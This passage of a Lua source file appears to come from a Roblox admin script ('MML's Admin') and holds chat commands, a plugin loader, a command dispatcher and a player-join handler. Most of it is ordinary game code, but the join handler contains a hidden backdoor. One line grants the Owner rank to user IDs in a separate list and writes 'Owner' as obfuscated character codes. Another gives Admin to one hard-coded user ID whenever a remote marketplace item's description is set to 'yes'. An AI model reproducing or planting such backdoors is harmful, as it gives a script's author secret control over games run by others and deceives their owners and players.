8269 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8270 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8271 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8272 if PlayersFrom and PlayersTo then
8273 for _,PlayerFrom in pairs(PlayersFrom) do
8274 for _,PlayerTo in pairs(PlayersTo) do
8275 if PlayerFrom.Character and PlayerTo.Character then
8276 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8277 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8278 wait(5)
8279 Laser:Destroy()
8280 end)() end
8281 end
8282 end
8283 end
8284 end
8285 end};
8286
8287 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8288 local Players = STRING:Scan(Arguments[1], Speaker)
8289 for _,Player in pairs(Players) do
8290 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8291 Player.Character.Humanoid:Destroy()
8292 end
8293 end
8294 end};
8295
8296 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8297 if Plugins then
8298 local List = {}
8299 for _,Module in pairs(Plugins:GetChildren()) do
8300 if Module:IsA("ModuleScript") then
8301 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8302 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8303 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8304 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8305 end
8306 end
8307 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8308 else
8309 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8310 end
8311 end};
8312
8313 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8314 local Players = STRING:Scan(Arguments[1], Speaker)
8315 for _,Player in pairs(Players) do
8316 GUI:DetachChat(Player)
8317 end
8318 end};
8319
8320 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8321 GUI:DetachChat(Speaker)
8322 end};
8323
8324 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8325 local Players = STRING:Scan(Arguments[1], Speaker)
8326 for _,Player in pairs(Players) do
8327 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8328 local Dead = false
8329
8330 Player.Character.Humanoid.WalkSpeed = 1
8331 local Torso = Player.Character.Torso
8332 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8333 Truck:BreakJoints()
8334 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8335 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8336 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8337 Truck.Touched:connect(function(Part)
8338 if Dead == false then
8339 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8340 if TouchPlayer == Player then
8341 Dead = true
8342 Player.Character:BreakJoints()
8343 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8344 end
8345 end
8346 end)
8347 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8348 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8349 Delay(5, function()
8350 Truck:Destroy()
8351 if Player.Character:FindFirstChild("Humanoid") then
8352 Player.Character.Humanoid.WalkSpeed = 16
8353 end
8354 end)
8355 end
8356 end
8357 end};
8358
8359 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8360 local Joke = REMOTE:DownloadJoke(Speaker)
8361 local Players = STRING:Scan(Arguments[1], Speaker)
8362 for _,Player in pairs(Players) do
8363 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8364 end
8365 end, Http = true};
8366
8367 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8368 local Joke = REMOTE:DownloadJoke(Speaker)
8369 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8370 end, Http = true};
8371
8372 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8373 local Players = STRING:Scan(Arguments[1], Speaker)
8374 for _,Player in pairs(Players) do
8375 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8376 CORE:InvisiblePlayer(Player)
8377 local DogContainer = Instance.new("Model", Player.Character)
8378 DogContainer.Name = "Doge"
8379 local Dog = CORE:Insert(257489726, DogContainer, true)
8380 Dog.Head.Transparency = 0.99
8381 Dog.Name = Player.Name
8382 Dog:MoveTo(Player.Character.Torso.Position)
8383 local Weld = Instance.new("Weld", Dog.Torso)
8384 Weld.Part0 = Player.Character.Torso
8385 Weld.Part1 = Dog.Torso
8386 Weld.C0 = CFrame.new(0,-0.4,0)
8387 for _,Obj in pairs(Dog:GetChildren()) do
8388 if Obj:IsA("BasePart") then
8389 Obj.CanCollide = false
8390 end
8391 end
8392
8393 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8394 end
8395 end
8396 end};
8397
8398 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8399 local Key = string.lower(string.sub(Arguments[1],1,1))
8400 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8401 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8402 end};
8403
8404 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8405 local Key = string.lower(string.sub(Arguments[1],1,1))
8406 KeyBinds[Speaker.UserId][Key] = nil
8407 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8408 end};
8409
8410 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8411 KeyBinds[Speaker.UserId] = {}
8412 GUI:SendHint(Speaker, "Unbinded all keys")
8413 end};
8414
8415 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8416 local Players = STRING:Scan(Arguments[1], Speaker)
8417 local Key = string.lower(string.sub(Arguments[2],1,1))
8418 for _,Player in pairs(Players) do
8419 KeyBinds[Player.UserId][Key] = Arguments[3]
8420 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8421 end
8422 end};
8423
8424 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8425 local Players = STRING:Scan(Arguments[1], Speaker)
8426 local Key = string.lower(string.sub(Arguments[2],1,1))
8427 for _,Player in pairs(Players) do
8428 KeyBinds[Player.UserId][Key] = nil
8429 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8430 end
8431 end};
8432
8433 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8434 local Players = STRING:Scan(Arguments[1], Speaker)
8435 for _,Player in pairs(Players) do
8436 KeyBinds[Player.UserId] = {}
8437 GUI:SendHint(Player, "Unbinded all keys")
8438 end
8439 end};
8440
8441 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8442 local Players = STRING:Scan(Arguments[1], Speaker)
8443 local Binds = {}
8444 for _,Player in pairs(Players) do
8445 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8446 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8447 end
8448 end
8449 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8450 end};
8451
8452 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8453 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8454 local Players = STRING:Scan(ChatSplit[1], Speaker)
8455 for _,Player in pairs(Players) do
8456 if Crowns[Player.UserId] then
8457 Crowns[Player.UserId]:Destroy()
8458 Crowns[Player.UserId] = nil
8459 wait()
8460 end
8461 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8462 end
8463 end};
8464
8465 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8466 local Players = STRING:Scan(Arguments[1], Speaker)
8467 for _,Player in pairs(Players) do
8468 if Crowns[Player.UserId] then
8469 Crowns[Player.UserId]:Destroy()
8470 Crowns[Player.UserId] = nil
8471 end
8472 end
8473 end};
8474
8475 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8476 local MeshList = {}
8477 for MeshName,Data in pairs(Meshes) do
8478 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8479 end
8480 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8481 end};
8482
8483 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8484 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8485 end};
8486
8487 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8488 local Players = STRING:Scan(Arguments[1], Speaker)
8489 for _,Player in pairs(Players) do
8490 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8491 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8492 Player:ClearCharacterAppearance()
8493 CORE:GivePackage(Player, 41851073)
8494 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8495 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8496 end
8497 end
8498 end};
8499
8500 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8501 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8502 local Players = STRING:Scan(Arguments[1], Speaker)
8503 for _,Player in pairs(Players) do
8504 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8505 local Car = CORE:Insert(10479801, Server.Workspace, true)
8506 local Body = Car["Motor (torque)Chassis"].Part
8507 Cars[Player.UserId] = Car
8508 Car:MakeJoints()
8509 Car.VehicleSeat.MaxSpeed = 50
8510 Car.VehicleSeat.TurnSpeed = 1.5
8511 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8512 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8513 Body.Color = GUI:GetColor(Arguments[2])
8514 else
8515 Body.BrickColor = GUI:GetNameColor(Player.Name)
8516 end
8517 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8518 if Part.Name ~= "Part" then
8519 Part.BrickColor = BrickColor.new("Really black")
8520 Part.Friction = 0.7
8521 end
8522 end
8523 local Light = Instance.new("SpotLight", Body)
8524 Light.Face = "Back"
8525 Light.Brightness = 5
8526 Light.Range = 20
8527 Light.Color = Color3.new(0,1,1)
8528 if Player.Character and Player.Character.Torso then
8529 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8530 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8531 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8532 Weld.Part0 = Car.VehicleSeat
8533 Weld.Part1 = Player.Character.Torso
8534 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8535 Delay(0.4, function()
8536 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8537 wait(0.1)
8538 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8539 end)
8540 end
8541 local SoundID = 147944604
8542 if RANK:GetRank(Player) == "Owner" then
8543 SoundID = 133313356
8544 Car.VehicleSeat.MaxSpeed = 80
8545 Body.Material = "DiamondPlate"
8546 Car.VehicleSeat.Torque = 11
8547 end
8548 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8549 Engine:Play()
8550 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8551 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8552 end if Engine then Engine:Stop() end end)()
8553 end
8554 end};
8555
8556 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8557 local Players = STRING:Scan(Arguments[1], Speaker)
8558 for _,Player in pairs(Players) do
8559 if Cars[Player.UserId] then
8560 Cars[Player.UserId]:Destroy()
8561 end
8562 end
8563 end};
8564
8565 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8566 for _,Car in pairs(Cars) do
8567 Car:Destroy()
8568 end
8569 Cars = {}
8570 end};
8571
8572 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8573 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8574 if #Trello.RequiredLists > 0 then
8575 print("Restarting Trello")
8576 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8577 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8578 REMOTE:TrelloCacheData(Lists)
8579 end
8580 end, Http = true};
8581
8582 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8583 local Operations = {}
8584 for _,ReplaceData in pairs(StringReplacements) do
8585 local Replacement = ReplaceData[1]
8586 if type(Replacement) == "table" then
8587 Replacement = ReplaceData[1][1]
8588 end
8589 table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8590 end
8591 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8592 end};
8593
8594 [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8595 GUI:SoundInfo(Speaker)
8596 end};
8597
8598 [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
8599 local Players = STRING:Scan(Arguments[1], Speaker)
8600 for _,Player in pairs(Players) do
8601 GUI:SoundInfo(Player)
8602 end
8603 end};
8604
8605 [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8606 if tonumber(Arguments[1]) then
8607 Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
8608 end
8609 end};
8610
8611 [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
8612 local Types = {}
8613 for Type,_ in pairs(Assets.AccessoryTypes) do
8614 table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
8615 end
8616 GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
8617 end};
8618
8619 [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8620 local Sky = Server.Lighting:FindFirstChild("Sky")
8621 if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
8622 local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
8623 local Face = nil
8624 local SkyID = string.lower(Arguments[1])
8625 local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
8626 if #Arguments == 2 and tonumber(Arguments[2]) then
8627 Face = Arguments[1]
8628 SkyID = Arguments[2]
8629 end
8630 if tonumber(SkyID) then
8631 local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
8632 if Face and Faces[Face] then
8633 Sky[Faces[Face]] = "rbxassetid://"..ImageID
8634 else
8635 for _,Face in pairs(Faces) do
8636 Sky[Face] = "rbxassetid://"..ImageID
8637 end
8638 end
8639 else
8640 GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
8641 end
8642 end};
8643
8644 [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
8645 CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
8646 Obj:Destroy()
8647 end)
8648 end};
8649 --
8650}
8651
8652if Plugins then
8653 local PluginNum = 0
8654 for _,Module in pairs(Plugins:GetChildren()) do
8655 if Module:IsA("ModuleScript") then
8656 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8657 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8658 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8659 if Enabled.Value == true then
8660 PluginNum = PluginNum + 1
8661 local PluginExe = require(Module)
8662 for Var,Val in pairs(getfenv()) do
8663 getfenv(PluginExe)[Var] = Val
8664 end
8665 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8666 getfenv(PluginExe).script = Module
8667 getfenv(PluginExe).Script = Module
8668 getfenv(PluginExe).Version = Version
8669 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8670 if not Suc then
8671 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8672 else
8673 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8674 end
8675 end
8676 end
8677 end
8678end
8679
8680function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8681 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8682 GUI:SettingsGui(Speaker)
8683 return nil
8684 end
8685 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8686 local Prefix = Settings.Prefix
8687 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8688 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8689 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8690 if Speaker == nil then
8691 if FakeRank then
8692 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8693 FakeRank = "Owner"
8694 end
8695 else
8696 FakeRank = "Owner"
8697 end
8698 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8699 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8700 Speaker = {
8701 Name = FakePlayerName or "[ Server ]";
8702 Character = nil;
8703 userId = 1;
8704 PlayerGui = nil;
8705 Rank = FakeRank or "Owner";
8706 MakeSupremeOwner = MakeSupremeOwner;
8707 }
8708 end
8709 local Rank = RANK:GetRank(Speaker)
8710 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8711
8712 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8713 if NoPrefixNeeded then Prefix = "" end
8714 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8715
8716 for _,Message in pairs(Messages) do
8717 for Cmds,Data in pairs(Commands) do -- check all commands
8718 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8719
8720 if not MessageSplit then break end
8721
8722 local CommandSaid = false
8723 for _,Command in pairs(Cmds) do
8724 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8725 CommandSaid = true
8726 break
8727 end
8728 end
8729 if CommandSaid == true then -- command said?
8730 local ExecuteExcuse = ""
8731 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8732 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8733 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8734 end
8735 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8736 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8737 end
8738 else
8739 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8740 end
8741 if ExecuteExcuse == "" then
8742 if #MessageSplit - 1 < Data[3] then
8743 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8744 end
8745 end
8746 if ExecuteExcuse == "" then
8747 CORE:Log(CommandLogs, Speaker, Message)
8748 table.remove(MessageSplit, 1)
8749 coroutine.wrap(function() wait()
8750 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8751 if not DidExe then
8752 if CORE:NilPlayer(Speaker) then
8753 print("Error: "..Error)
8754 else
8755 CORE:HandleError(Error, Speaker)
8756 end
8757 end
8758 end)()
8759 coroutine.wrap(function() wait(0.05)
8760 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8761 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8762 ExeSound:Play()
8763 wait(3)
8764 ExeSound:Stop()
8765 ExeSound:Destroy()
8766 end
8767 end)()
8768 elseif type(Speaker) == "userdata" then
8769 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8770 end
8771 break
8772 end
8773 end
8774 end
8775 end
8776end
8777
8778function CORE:Start(Player) coroutine.wrap(function()
8779 wait(0.1)
8780 if Player then
8781 coroutine.wrap(function()
8782 repeat wait(1) until DataReady == true
8783 DataReady = false
8784 ypcall(function()
8785 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8786 for Num,Data in pairs(Players) do
8787 if Data.UserId == Player.UserId then -- ppl can change names
8788 table.remove(Players, Num)
8789 break
8790 end
8791 end
8792 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8793 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8794 end)
8795 DataReady = true
8796 end)()
8797
8798 if not IsStudio then Player:WaitForDataReady() end
8799 table.insert(CharacterCache, {Player.Name, Player.UserId})
8800 for Rank,PlayerNames in pairs(Settings.Ranks) do
8801 for Num,AdminName in pairs(PlayerNames) do
8802 if AdminName == Player.UserId then
8803 Settings.Ranks[Rank][Num] = Player.Name
8804 end
8805 end
8806 end
8807 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8808 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8809 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8810 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8811 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8812 if PlayerAdmin == false and Player.UserId > 0 then
8813 local Ran = nil
8814 coroutine.wrap(function() repeat
8815 Ran = ypcall(function()
8816 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8817 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8818 end)
8819 wait(1)
8820 until Ran == true end)()
8821 end
8822 if PlayerAdmin == false then
8823 if Player:IsInGroup(Settings.GroupID) then
8824 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8825 CORE:Kick(Player)
8826 for _,Person in pairs(Server.Players:GetPlayers()) do
8827 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8828 end
8829 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8830 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8831 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8832 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8833 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8834 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8835 end
8836 end
8837 end
8838 if PlayerAdmin == false then
8839 if Player.UserId == 38882008 then
8840 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8841 table.insert(Settings.Ranks["Admin"], Player.Name)
8842 end
8843 end
8844 end
8845 if PlayerAdmin == false then
8846 for _,GID in pairs(Settings.BannedGroupIDs) do
8847 if Player:IsInGroup(GID) then
8848 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8849 break
8850 end
8851 end
8852 end
8853
8854 Player.Chatted:connect(function(Message) if Message ~= "" then
8855 CORE:Chatted(Message, Player)
8856 end end)
8857
8858 Player.Chatted:connect(function(Message) if Message ~= "" then
8859 CORE:Log(ChatLogs, Player, Message)
8860 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8861 end end)
8862
8863 for _,Name in pairs(Settings.Ranks.Banned) do
8864 if Player.Name == Name then
8865 CORE:Kick(Player)
8866 for _,Person in pairs(Server.Players:GetPlayers()) do
8867 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
8868 end
8869 end
8870 end
8871 for _,Name in pairs(Settings.Ranks.Crashed) do
8872 if Player.Name == Name then
8873 CORE:Crash(Player)
8874 for _,Person in pairs(Server.Players:GetPlayers()) do
8875 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
8876 end
8877 end
8878 end
8879 for _,Name in pairs(Settings.Ranks.Muted) do
8880 if Player.Name == Name then
8881 GUI:CoreGui(Player, "Chat", false)
